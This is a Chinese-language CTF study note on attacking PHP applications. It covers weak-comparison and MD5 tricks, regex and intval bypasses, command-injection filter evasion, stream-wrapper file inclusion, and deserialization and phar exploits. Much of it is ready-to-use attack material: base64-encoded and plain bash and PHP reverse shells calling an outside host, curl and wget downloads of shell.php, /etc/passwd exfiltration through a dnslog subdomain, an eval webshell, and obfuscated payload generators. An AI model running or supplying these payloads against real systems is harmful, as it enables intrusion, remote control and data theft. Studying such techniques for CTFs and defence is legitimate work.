php相关
php相关
借鉴了小迪安全以及各位大佬的博客,如果一切顺利,会不定期更新。
如果感觉不妥,可以私信删除。
默认有php基础。
文章目录
- php相关
- 1. php 缺陷函数
- 1. `==`与`===`
- 2. MD5
- 3. intval()
- 4. preg_match()
- 2. php特性
- 1. php字符串解析特性
- 2. 杂项
- 3. 命令执行与远程命令执行RCE
- 1. 常见命令
- 2. 常见绕过
- 4. php URL封装协议(伪协议)
- 1. file://
- 2. php://
- 3. zip:// bzip2:// zlib://
- 4. data://
- 5. 实例演示
- 5. php反序列化
- 1. 序列化格式
- 2. 三种访问控制区别
- 3. 魔术方法
- 4. 绕过方法
- 1. 绕过__wakeup()
- 2. 绕过preg_match关键词匹配
- 3. 绕过throw new Exception
- 4. 绕过md5或sha1校验
- 5. 反序列化字符逃逸
- 6. php session反序列化
- 6. phar反序列化
- 1. 概念
- 2. 绕过
- 7. Soap反序列化
- 参考文章
1. php 缺陷函数
正则表达式在线测试 | 菜鸟工具 (jyshare.com)
1. ==
与===
== 弱类型比较,先转换成类型相同的再比较
=== 强类型比较,比较地址
var_dump("a123"==123);//false,正常情况读取到字母结束
var_dump("123a456"==123);//true
var_dump(0e35==0e36);//true,0*(10^a)类型转换后都是0
var_dump("hello"==0);//true,字符串转类型后是0
echo "123a"+7;//130
echo 7+"11a5";//18
2. MD5
- 数组绕过
if ($_GET['a'] != $_GET['b']){//?a[]=6&b[]=7if (md5($_GET['a']) === md5($_GET['b'])){echo 666;}
else{print 'Wrong.';}
}
- 自身前后md5相等绕过
意思是自身MD5后依旧是0e
开头
$a=0e215962017;
if(md5($a)==$a){echo 666;
}
- 绕过
==
比较
使两个数MD5后都是0e
开头
$a=(string)"QNKCDZO";//a=QNKCDZO&b=240610708
$b=(string)"240610708";
if( ($a!==$b) && (md5($a)==md5($b)) ){echo md5($a)." ".md5($b);
//0e830400451993494058024219903391 0e462097431906509019562988736854
}
- 使用fastcoll.exe绕过
===
判断
具体看我MD5强碰撞的复现。
3. intval()
定义:用于获取变量的整数值;通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
intval(mix $var[,int $base=10])
$base,转化所使用的进制,$base为0时看$var的前缀来转化
如果是0x或0X则原字符串使用16进制
如果是0则原字符串使用8进制
如果是0b或0B则原字符串使用2进制
否则原字符串使用10进制<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
echo intval(0x1A); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
?>
- 进制转换绕过
$num="0x117c";
if($num==="4476"){die("no no no!");
}
if(intval($num,0)===4476){//字符串转intecho "you got it";
}
else{echo intval($num,0);
}
- 科学计数法绕过
- 小数点绕过
intval()函数如果base为0,字符串包含字母就停止读取,除了e。
header("Content-Type:text/html;charset=utf-8");
$a=$_GET['a'];//?a=4476e1或者4476.1
echo $a;
if($a==4476){die("no no no!");}
if(intval($a,0)==4476){echo "yes";
}
4. preg_match()
正则匹配函数
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) $pattern: 要搜索的模式,字符串形式。
$subject: 输入字符串。
$matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
当preg_match返回值不以===
的形式判断时,可以使其返回出现错误时的False
来冒充未匹配到字符串时返回的0
。
- preg_match()函数要求第二个参数subject为字符串,可以传一个数组,使函数返回False。
- 利用
%0a
截断字符串进行换行绕过,需要在浏览器上传参。
<?php
header("Content-Type:text/html;charset=utf-8");
$a=$_GET['a'];
//"hello%0a"
if(preg_match('/^hello$/',$a)&&$a!=="hello"){echo "success";
}else{echo "fail";
}
- 利用PCRE回溯的有限次绕过。(标志是贪婪匹配)
PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌 (leavesongs.com)
var_dump(ini_get('pcre.backtrack_limit'));//最大回溯次数,1000000
$a="union /*".str_repeat('a',1000000)."*/ select";
var_dump(preg_match('/union.+?select/is','')&&$a!=="hello");//False
2. php特性
1. php字符串解析特性
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
- 删除空白格
- 将某些字符转换成下划线。
$a=$_GET['a_b_c_d'];
//?a+b.c.d=%0ahello
if(substr_count($_SERVER['QUERY_STRING'],'_')==0){//变量名需要绕过_if(preg_match("/^hello$/im",$a)){//多行匹配if(!preg_match("/^hello$/i",$a)){echo "you got it";}}
}
php变量名不允许使用点号,会变成下划线,但如果出现了[,那么这个[转变为下划线后,后面的点并不会转化。
$a=$_GET['a_b.c.d'];//?a[b.c.d=6
echo $a;//6
2. 杂项
_()是gettext()的拓展函数
在开启相关设定后,_("666")等价于gettext("666"),且就返回其中的参数
3. 命令执行与远程命令执行RCE
Lazzaro佬太强啦
1. 常见命令
#linux常见命令
cat/more/less/head/sort/tail/nl/sed/cut/tac/awk/strings/od/curl/wget#向文件xxx写ls的内容
ls > xxx
ls|tee xxxcurl -X POST -d"data=123&key=456" http://www.jackyops.com/search -v #写shell
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9tYXg2LmZ1bi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}' #bash -i >& /dev/tcp/max6.fun/6666 0>&1
echo -e "%23!/bin/sh\nwhile read line\ndo\necho \$line\ndone < /flag" > ../../../read # #!后面跟着解释器的路径
bash -c "bash -i > /dev/tcp/[IP]/[Port] 0>&1 2>&1" #反弹shell#从网站下载内容并写入文件
curl -o shell.php http://xxxxxx.txt
wget -O shell.php http://xxxxxx.txt#从网站下载文件到shell.php中#windows cmd
type#php
system/exec/shell_exec/passthru/popen/proc_open/反引号pcntl_exec('/bin/ls', array('-l')); #在windows不可用# 这行代码之后的任何代码都不会被执行,因为进程已经被替换php -r '$sock=fsockopen("ip",6666);exec("/bin/bash -i <&3 >&3 2>&3");'#拼接符
gcc m1.c& 后台执行
| 上一条命令的输出作为下条命令的输入
&& 前一条命令执行成功时,才执行后一条命令
|| 上一条命令执行失败后,才执行下一条命令
cat file1;data;pwd;who #;把多条命令,拼接在一起后执行
//echo @eval(new Exception(system('calc')));
//echo `whoami`;
//call_user_func('system',"whoami");
//echo exec("whoami");echo fgets(popen('whoami','r'));//popen打开一个指向命令的进程的指针
$descriptorspec = array( 0 => array("pipe", "r"), // stdin 是从 PHP 来的一个管道 1 => array("pipe", "w"), // stdout 是一个管道,送到 PHP 2 => array("pipe", "w") // stderr 是一个管道,送到 PHP ); $process = proc_open('whoami', $descriptorspec, $pipes); if (is_resource($process)) { // 读取输出 $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]); // 关闭进程 $return_status = proc_close($process); echo "命令输出:\n$stdout"; }//echo new ReflectionClass(system("dir")());//php反射
class A{public function abc($a){echo $a;}
}
$rc=new ReflectionClass('A');//通过反射获取类
$func=$rc->newInstance();//实例化类
$func->abc("666");//@ 符号被称为错误控制运算符,它会告诉PHP忽略该表达式执行时产生的任何错误消息
2. 常见绕过
空格
<,<>,%20,%09(需要php环境),$IFS,${IFS},$IFS$9,{cat,1.txt}
加号
通过 GET方式传值的时候,+号会被浏览器处理为空,所以需要转换为%2b
分号
%0a
命令(比如cwd)
a=p;b=wd;$a$b,p''wd,p""wd,p\`\`wd,p\wd,pwd$u,`echo cHdk|base64 -d\`,echo "707764"|xxd -r -p|bash
#xxd -r -p,还原hex文件,将纯十六进制转储的反向输出打印为了ASCII格式
关键词(比如flag)
fla*,f???,flag$u,fl“a”g,fl‘a’g
php -r "echo chr(47).chr(102).chr(108).chr(97).chr(103)"
IP地址
转数字地址:https://ipnum.bmcx.com/
利用平台
curl https://bashupload.com/ -T file.txt #上传文件到bashupload.com上
curl `cat /etc/passwd|base64`.xxx.dnslog.cn #参数放子域名,通过dns外带
php
echo [].[];//ArrayArray
$_= (0/0)._;
echo $_;//NAN_
$_=$_[0];
echo $_;//N
echo (_/_._)[0];//N
取反
<?php
$ans1='system';//函数名
$ans2='dir';//命令
$data1=('~'.~$ans1);//通过两次取反运算得到system
$data2=('~'.~$ans2);//通过两次取反运算得到dir
$b= ('('.$data1.')'.'('.$data2.')'.';');
echo eval($b);
linux下
~a=-(a+1)
八进制ls命令
$'\154\163'$(())=0
$((~$(())))=-1
$((1<<1))=2
${##}=1
$0 bash命令bash对整数的表达形式为`[base#]n`
比如十进制4表示成2进制100,在bash里可以表示为`2#100`
154可以用$(($((1<<1))#10011010)) 表示在bash里,`<<<`称作(here-strings),语法:`command [args] <<< ["]$word["]`
其中$word会展开并作为command的stdin
bash <<< $\'\\154\\163\' 右侧命令将初步解析为$'\154\163',作为参数给到bash命令使用两次here-strings完成ls -al指令
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\\$(($((1<<1))#101000))\\$(($((1<<1))#110111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10011010))\'
cmd = 'ls -al'
payload = '$0<<<$0\\<\\<\\<\\$\\\''
for c in cmd:payload += f'\\\\$(($((1<<1))#{bin(int(oct(ord(c))[2:]))[2:]}))'
payload += '\\\''
print(payload)
/**
* 复制并使用代码请注明引用出处哦~
* Lazzaro @ https://lazzzaro.github.io
*/
仅含 <$!{}()_&
下面代码在kali linux
中跑不了,原因如下
当echo $0
的结果是zsh时,a=123
运行echo${!a}
的结果是echo ${a=123}
,再按回车输出123,另外运行${$(())}
结果是0。
当echo $0
的结果是bash时,a=$(())
运行echo${!a}
的结果是bash
,下面代码可以执行。
所以是bash与zsh间接引用${!name}
的区别?!!
cmd = 'ls -al'r = {}x = '$((~$(())))'#-1for i in range(1,9):r[i] = '$((~$(('+xfor j in range(i):r[i] += xr[i] += '))))'r[0] = '$(())'payload = '__=$(())&&${!__}<<<${!__}\\<\\<\\<\\$\\\''
for c in cmd:payload += '\\\\'for i in oct(ord(c))[2:]:payload += r[int(i)]payload += '\\\''
print(payload)
"""
__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
"""/**
* 复制并使用代码请注明引用出处哦~
* Lazzaro @ https://lazzzaro.github.io
*/
4. php URL封装协议(伪协议)
include() // include在包含的过程中如果出现错误,会抛出一个警告,程序 继续正常运行
include_once() // 如果一个文件已经被包含过,则不会在包含它
require() // require函数出现错误的时候,会直接 报错并退出 程序的执行。
require_once() // 如果一个文件已经被包含过,则不会在包含它
php.ini(配置文件):file://协议在双off的情况下也可以使用。
allow_url_fopen :off/on
allow_url_include:off/on
URL封装协议(URL wrapper)允许你通过统一的接口来访问不同类型的资源。
file:// — 访问本地文件系统,
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams),
zlib:// — 压缩流,可访问压缩文件中的子文件,无需指定后缀名
bzip2://
zip://
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
1. file://
条件:include()等参数可控,目录下支持脚本解析
用法:file:///uploads/1.php
file://http://xxx.com/xx.php
2. php://
https://www.php.net/manual/zh/wrappers.php.php
条件:allow_url_include为on
以下为常见形式
'php://input' //POST请求的情况下,php://input可以获取到post的数据,enctype为multiple/form-data时无效'php://output'//只写数据流,允许以echo和print方式写入到输出缓冲区'php://filter'//常用,可实现任意文件读取/*
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。*///对read和write常见过滤器有string.rot13,string.toupper,string.tolower,string.strip_tags,convert.base64-encode//?page=php://filter/read=convert.base64-encode/resource=upload.php
3. zip:// bzip2:// zlib://
条件:allow_url_fopen:off/on
, allow_url_include :off/on
用法:
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
compress.bzip2://file.bz2
compress.zlib://file.gz
4. data://
条件:allow_url_fopen:on
allow_url_include :on
作用:数据流封装器,用来传递相应格式数据,可执行php代码
用法:
data://text/plain,<?php%20phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
5. 实例演示
index.php
<?php
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if(isset($_GET['filter'])){$f=$_GET['filter'];echo $f;echo "<br>";include($f);//include_once($f);//$l=file_get_contents($f);//allow_url_include = On//echo $l;/*?filter=php://filter/read=convert.base64-encode/resource=1.php?filter=file://C:\phpstudypro\WWW\1.php //写绝对路径http://localhost/index.php?filter=php://inputPOST: <?php phpinfo();@eval($_POST['123']);?> //文件包含漏洞,antsword直接连zip://1.zip%231.php //%23是#data://text/plain,<?php%20echo%20file_get_contents('1.php');?>http://localhost/1.php*/
}
1.php
<?php
$flag="flag{you_got_it,baby}";
echo $flag;
在当前目录下将1.php压缩成1.zip。
5. php反序列化
1. 序列化格式
概念:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 序列化的对象可以是class也可以是Array,string等其他对象。
问题原因:漏洞的根源在于**unserialize()**函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码或变量用户可控,就可能产生反序列化漏洞,根据反序列化后不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。
序列化格式:
对象类型:对象名长度:”对象名”:对象成员变量个数:{变量1类型:变量名1长度:变量名1; 参数1类型:参数1长度:参数1; 变量2类型:变量名2长度:”变量名2”; 参数2类型:参数2长度:参数2;… …}
提示符 | 数据类型 | 格式 |
---|---|---|
s | 字符串 | s:size:value; |
i | 整数 | i:value; |
d | 浮点数 | d:value; |
b | 布尔值 | b:value;(保存0或1) |
N | 空值 | N; |
a | 数组 | a:size:{key definition;value definition;[repeat]} |
O | 对象 | O:strlen(Object name):Object name:Object size:{s:strlen(property name):name;property definition;[repeat]} |
R | 指针引用 | R:9; |
<?php
class Person{public $name;public $age;public $array1;//第一个key为0,第二个key为call,第三个为1public $obj;public function __construct($n=null,$a=null,$arr=[],$obj){$this->name=$n;$this->age=$a;$this->array1=$arr;$this->obj=$obj;}public function hello(&$obj){print("name: ".$this->name." age: ".$this->age);}
}
class c{public $price;public $height;public function __construct($n=null){$this->price=$n;$this->height=&$this->price;//指针引用//Person,name,age,array1,array1里的三个元素,obj,price//引用的price为第九个,故R:9}
}
$a=new Person("cllsse",123,[False,"call"=>119,null],new c(110.1));
echo serialize($a);
O:6:"Person":4:{s:4:"name";s:6:"cllsse";s:3:"age";i:123;s:6:"array1";a:3:{i:0;b:0;s:4:"call";i:119;i:1;N;}s:3:"obj";O:1:"c":2:{s:5:"price";d:110.1;s:6:"height";R:9;}}
2. 三种访问控制区别
public: 变量名
protected: \x00 + * + \x00 + 变量名(或 \00 + * + \00 + 变量名 或 %00 + * + %00 + 变量名)
private: \x00 + 类名 + \x00 + 变量名(或 \00 + 类名 + \00 + 变量名 或 %00 + 类名 + %00 + 变量名)
注:>=php v7.2 反序列化对访问类别不敏感(protected -> public)
<?php
class B{public $aa;protected $bb;private $cc;
}
$a=new B();
$b=serialize($a);
echo $b."\n";//O:1:"B":3:{s:2:"aa";N;s:5:"*bb";N;s:5:"Bcc";N;}
echo serialize(unserialize("O:1:\"B\":3:{s:2:\"aa\";N;s:5:\"\00*\00bb\";N;s:5:\"\00B\00cc\";N;}"));
3. 魔术方法
__construct() #每次创建新对象时先调用此方法
__destruct() #某个对象的所有引用都被删除或者销毁时调用
#没有变量指到当前对象时也会被触发
# a:2:{i:0;O:4:"User":0:{}i:0;s:3:"xxx";},被覆盖后没有变量指向User对象)
__toString() #把类被当做一个字符串使用时调用
__wakeup() #使用unserialize函数,反序列化恢复对象之前时调用
__sleep() #使用serialize()函数,序列化对象之前时调用
__call() #在对象中,调用不存在的方法或调用权限不足时调用
__callstatic() #在静态上下文中,调用不可访问的方法时触发
__get() #访问不存在的成员变量时调用
__set() #设置不存在的成员变量时调用
__invoke() #当尝试以调用函数的方式调用一个对象时触发
__autoload() #尝试加载未定义的类
__isset() #在不可访问的属性上调用isset()或empty()触发
__unset() #在不可访问的属性上使用unset()时触发
4. 绕过方法
1. 绕过__wakeup()
CVE-2016-7124
利用条件:
- php5:<
5.6.25
- php7:<
7.0.10
当反序列化时, 给出的字段个数的数字小于提供的字段个数, 将不会执行__wakeup
<?php
class c{public $price;public $height;public function __construct($n=null){$this->price=$n;$this->height=&$this->price;echo "调用了construct"."<br>";}public function __wakeup(){echo "调用了wakeup"."<br>";}public function __destruct(){echo "调用了destruct"."<br>";}
}
$a=new c();
$a=serialize($a);
echo $a."<br>";
//O:1:"c":2:{s:5:"price";N;s:6:"height";R:2;}
$b=unserialize('O:1:"c":10:{s:5:"price";N;s:6:"height";R:2;}');//2<10绕过wakeup
echo gettype($b)."<br>";
- php7.3 __wakeup绕过
使用内置类 ArrayObject
其他类:ArrayIterator / RecursiveArrayIterator / SplObjectStorage
愚人杯3rd easy_php
$arr=array("a"=>1,"b"=>2);
$ao=new ArrayObject($arr);
echo serialize($ao);
//C:11:"ArrayObject":45:{x:i:0;a:2:{s:1:"a";i:1;s:1:"b";i:2;};m:a:0:{}}
<?php
class ctfshow {public $ctfshow;public function __wakeup(){die("not allowed!");}public function __destruct(){echo "OK";system($this->ctfshow);}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){unserialize($data);
}
/*
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res; */
//?1%2b1%3E2=C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}
2. 绕过preg_match关键词匹配
- php低版本
使用+
,<
绕过正则^O:\d+
O:+1:"c":2:{s:5:"price";N;s:6:"height";R:2;}
O:<1:"c":2:{s:5:"price";N;s:6:"height";R:2;}
- 16进制绕过
当序列化类型是s时,可使用大写S
来进行16进制绕过
$b=unserialize('O:1:"c":2:{S:5:"\70\72\69\63\65";N;s:6:"height";R:2;}');
3. 绕过throw new Exception
$c=@unserialize($_POST['123']);
throw new Exception("fail");//throw new Exception会先于destruct()执行
- 去掉最后大括号,利用反序列化报错来防止进入Exception
POST: 123=a:2:{i:0;O:1:%22c%22:2:{s:5:%22price%22;N;s:6:%22height%22;R:3;}i:1;i:0;
- GC垃圾回收机制
$a=new c();
$b=array($a,0);
$b=serialize($b);
echo $b."\n";//a:2:{i:0;O:1:"c":2:{s:5:"price";N;s:6:"height";R:3;}i:1;i:0;}
//POST: a:2:{i:0;O:1:"c":2:{s:5:"price";N;s:6:"height";R:3;}i:0;i:0;}
//把最后一个key改为0
因为反序列化的过程是顺序执行的,所以到第一个属性时,会将Array[0]
设置为c
对象,同时我们又将Array[0]
设置为null
,这样前面的c
对象便丢失了引用,就会被GC所捕获,便可以执行__destruct
。
4. 绕过md5或sha1校验
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2)) ) {echo eval($this->var1);
}
利用两个不同对象,__toString()
方法返回值相同的方式绕过
$a1=new Exception($cmd,0);$a2=new Exception($cmd,1);//$code不同
//写在同一行toString相同
5. 反序列化字符逃逸
PHP 在反序列化时,底层代码是以 ;
作为字段的分隔,以 }
作为结尾(字符串除外),并且是根据长度判断内容的。
对于服务端上将传入的字符串实际长度进行增加或减少(例如替换指定字符到更长/短的字符), 我们就可以将其溢出并且对我们的恶意字符串反序列化。
字符串增加时
<?php
Class Test{public $name="lxx";public $id=114514;public $wage=9.9;
}
function filter($str){return str_replace("x","yy",$str);//x替换成yy
}
$a=new Test();
echo serialize($a)."\n";
//O:4:"Test":3:{s:4:"name";s:3:"lxx";s:2:"id";i:114514;s:4:"wage";d:9.9;}
echo filter(serialize($a))."\n";
//O:4:"Test":3:{s:4:"name";s:3:"lyyyy";s:2:"id";i:114514;s:4:"wage";d:9.9;}
可以看到xx
被替换成了``yyyy`
假设我们要插入替换的代码为";s:2:"id";i:1919810;s:4:"wage";d:12.5;}
,长度为40
与前面闭合成s:3:"lxx";s:2:"id";i:1919810;s:4:"wage";d:12.5;}"
1+x+40=1+2x
x=40,即需要40个x
来完成逃逸。
$b='O:4:"Test":3:{s:4:"name";s:81:"l'.str_repeat('x',40).'";s:2:"id";i:1919810;s:4:"wage";d:12.5;}';
$b=$b.'";s:2:"id";i:114514;s:4:"wage";d:9.9;}';
echo $b."\n";
$c=filter($b);
var_dump($c);
echo serialize(unserialize($c));
//O:4:"Test":3:{s:4:"name";s:81:"l
//xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
//";s:2:"id";i:1919810;s:4:"wage";d:12.5;}
//";s:2:"id";i:114514;s:4:"wage";d:9.9;}
可以看到filter函数执行后,s:81
多了一堆y
占位,让我们插入的恶意代码成功逃逸,并且在反序列化的过程中,截断了第一个}
后面的内容。
字符串减少时
<?php
Class Test{public $name="lxx";//可控public $fruit="apple";//可控public $id=114514;//需要修改的
}
function filter($str){return str_replace("x","",$str);//x替换成""
}
$a=new Test();
echo serialize($a)."\n";
//O:4:"Test":3:{s:4:"name";s:3:"lxx";s:5:"fruit";s:5:"apple";s:2:"id";i:114514;}
echo filter(serialize($a))."\n";
//O:4:"Test":3:{s:4:"name";s:3:"l";s:5:"fruit";s:5:"apple";s:2:"id";i:114514;}
我们需要让";s:5:"fruit";s:5:
被吞掉,作为name的值,fruit的值的前引号会将其闭合
需要给fruit的值赋值为";s:2:"id";i:119;s:5:"fruit";s:0:"";}s:0:"
然后原本fruit的值的后引号会与其闭合。
$b='O:4:"Test":3:{s:4:"name";s:19:"l'.str_repeat('x',18).'";s:5:"fruit";s:5:';
$b=$b.'";s:2:"id";i:119;s:5:"fruit";s:0:"";}s:0:"'.'";s:2:"id";i:114514;}';
echo $b."\n";
echo serialize(unserialize(filter($b)));
//O:4:"Test":3:{s:4:"name";s:3:"lxxxxxxxxxxxxxxxxxx";s:5:"fruit";s:5:
//";s:2:"id";i:119;s:5:"fruit";s:0:"";}s:0:"
//";s:2:"id";i:114514;}
6. php session反序列化
PHP中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项 session.save_handler 来进行确定的,默认是以文件的方式存储。存储的文件是以sess_[sessionid]
来进行命名的。
利用条件:
- 可以进行任意文件包含
- 直到session文件存放路径
- 具有读取和写入session文件的权限。
序列化和反序列化时使用引擎的不同会导致序列化注入漏洞
session.serialize_handler
定义的引擎有三种
处理器名称 | 存储格式 |
---|---|
php | 键名 + | + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组,(php>5.5.4) |
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];//?session=hello
?>
找到生成的session文件sess_uvbc2v9bb88mlrdkssab294761
使用php
对应的session文件内容为session|s:5:"hello";
使用php_binary
对应的session文件内容为 sessions:5:"hello";
strlen(sessions)
为8,对应不可见字符。
使用php_serialize
对应的session文件内容为a:1:{s:7:"session";s:5:"hello";}
a:1
表示$_SESSION
数组中有一个元素
下面来尝试一下
index.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
1.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class Test{public $name="666";public function __construct() {echo "construct";}public function __destruct(){echo $this->name;}
}
$str=new Test();
?>
?session=|O:4:"Test":1:{s:4:"name";s:6:"cllsse";}
查看session文件,内容为a:1:{s:7:"session";s:40:"|O:4:"Test":1:{s:4:"name";s:6:"cllsse";}
此时访问1.php
利用参考
PHP BUG #71101
6. phar反序列化
1. 概念
phar文件本质上是一种压缩文件,在使用phar协议文件包含时,也是可以直接读取zip文件的。使用phar://协议读取文件时,文件会被解析成phar对象,phar对象内的以序列化形式存储的用户自定义元数据(metadata)信息会被反序列化。这就引出了我们攻击手法最核心的流程。
流程:构造phar(元数据中含有恶意序列化内容)文件—>上传—>触发反序列化
php中有一大部分的文件系统函数在通过phar://伪协议解析phar文件时都会将meta-data进行反序列化。
利用条件:
-
我们需要在本地环境的
php.ini
中将;phar.readonly = On
改为phar.readonly = Off
-
phar文件要能够上传到服务器端。能触发的文件操作函数:
include、file_get_contents、file_put_contents、copy、file、file_exists、is_executable、is_file、is_dir、is_link、is_writable、fileperms、fileinode、filesize、fileowner、filegroup、fileatime、filemtime、filectime、filetype、getimagesize、exif_read_data、stat、lstat、touch、md5_file
-
要有可用的魔术方法作为“跳板”。
-
文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
https://www.php.net/manual/zh/phar.fileformat.phar.php
phar 文件格式实际上是按照 stub/manifest/contents/signature 的形式排列的,若我们修改manifest的内容,则还需要修改manifest中表示其长度的那4字节和表示phar元数据长的的4字节,所以建议是不要修改元数据内容时增加或减少字符数。
1.php
highlight_file(__FILE__);
class getflag{function __destruct(){echo "flag{666}";}
}
class User {Public $name;public function __construct($n){$this->name=$n;}public function __destruct(){ $data = $_POST[0];if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {die("我知道你想干吗,我的建议是不要那样做。");}echo "you got it,".$this->name;echo $data;echo file_get_contents($data);}
}
unserialize($_GET[0]);
//a:2:{i:0;O:7:"getflag":0:{}i:0;N;}
//O:4:"User":1:{s:4:"name";s:6:"cllsse";}
throw new Error("那么就从这里开始起航吧");
index.php
<?php
class getflag {
}@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,生成后可以随意修改
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new getflag();
$o=array(0=>$o,1=>null);
echo $o;
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
运行生成phar.phar
修改phar文件来强制触发GC回收机制绕过throw new Error
,另存为p1.phar
a:2:{i:0;O:7:"getflag":{}i:0;N;}
phar文件签名修复脚本
# -*- coding: utf-8 -*-
from hashlib import sha1
with open(r'C:\phpstudypro\WWW\p1.phar', 'rb')as fp:f=fp.read() # 修改内容后的phar文件s = f[:-28] # 获取要签名的数据h = f[-8:] # 获取签名类型以及GBMB标识newf = s+sha1(s).digest()+h # 数据 + 签名 + 类型 + GBMBopen(r'C:\phpstudypro\WWW\p2.phar', 'wb').write(newf) # 写入新文件
运行python将p2.phar压缩为zip文件,绕过preg_match关键词匹配
# -*- coding: utf-8 -*-
import gzip
file = open("C:\phpstudypro\WWW\p2.phar", "rb") #打开文件
file_out = gzip.open("C:\phpstudypro\WWW\p3.zip", "wb+")#创建压缩文件对象
file_out.writelines(file)
file_out.close()
file.close()
运行python发送请求
import requests
url='http://localhost/1.php'
res=requests.post(url,params={0:r'O:4:"User":1:{s:4:"name";s:6:"cllsse";}'},data={0:'phar://./p3.zip'})
print(res.text)
利用参考
NSSCTF平台-第一周Prize赛题
2. 绕过
压缩绕过关键字匹配
phar://不能出现在首部
compress.zlib://phar://
compress.bzip2://phar://
php://filter/resource=phar://
脚本构造phar文件
详见Lazzaro佬的脚本
7. Soap反序列化
SOAP
: Simple Object Access Protocol
简单对象访问协议。
SOAP简单的理解就是这样的一个开放协议SOAP=RPC+HTTP+XML:
采用HTTP作为底层通讯协议;RPC(远程过程调用)作为一致性的调用途径,XML作为数据传送的格式,允许服务提供者和服务客户经过防火墙在INTERNET进行通讯交互。
采用HTTP作为底层通讯协议,XML作为数据传送的格式,正常情况下的SoapClient
类,调用一个不存在的函数,会去调用__call
方法。
https://www.w3.org/TR/2000/NOTE-SOAP-20000508/#_Toc478383528
以下是发送到WebXml.com.cn的SOAP请求,用于查询广东省支持的城市
